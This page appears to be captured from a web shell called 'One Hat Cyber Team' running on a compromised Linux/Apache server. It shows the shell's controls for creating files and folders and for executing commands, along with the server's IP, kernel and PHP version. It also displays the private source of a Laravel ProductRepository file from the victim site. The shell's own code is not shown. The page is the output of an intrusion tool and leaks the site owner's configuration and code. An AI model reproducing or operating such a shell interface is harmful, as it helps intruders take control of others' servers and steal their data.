⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.138
Server IP:
186.226.58.36
Server:
Linux da02.sh15.net 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Server Software:
Apache/2
PHP Version:
8.1.32
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
redesystem
/
public_html
/
sys
/
app
/
Repositories
/
View File Name :
ProductRepository.php
<?php namespace App\Repositories; use App\Models\Product; use Exception; use Illuminate\Support\Facades\DB; use Symfony\Component\HttpKernel\Exception\UnprocessableEntityHttpException; /** * Class ProductRepository */ class ProductRepository extends BaseRepository { /** * @var string[] */ public $fieldSearchable = [ 'name', 'code', 'price', 'category.name', ]; public function getFieldsSearchable(): array { return $this->fieldSearchable; } public function model(): string { return Product::class; } public function store($input): bool { try { DB::beginTransaction(); $product = Product::create($input); if (isset($input['image']) && ! empty($input['image'])) { $product->addMedia($input['image'])->toMediaCollection(Product::Image, config('app.media_disc')); } if ($input['image_remove'] == 1 && isset($input['image_remove']) && empty($input['image'])) { $product->clearMediaCollection(Product::Image); $product->media()->delete(); } DB::commit(); return true; } catch (Exception $e) { DB::rollBack(); throw new UnprocessableEntityHttpException($e->getMessage()); } } public function updateProduct(array $input, int $id): bool { try { DB::beginTransaction(); $product = Product::find($id); $product->update($input); if (isset($input['image']) && ! empty($input['image'])) { $product->clearMediaCollection(Product::Image); $product->media()->delete(); $product->addMedia($input['image'])->toMediaCollection(Product::Image, config('app.media_disc')); } if ($input['image_remove'] == 1 && isset($input['image_remove']) && empty($input['image'])) { $product->clearMediaCollection(Product::Image); $product->media()->delete(); } DB::commit(); return true; } catch (Exception $e) { DB::rollBack(); throw new UnprocessableEntityHttpException($e->getMessage()); } } }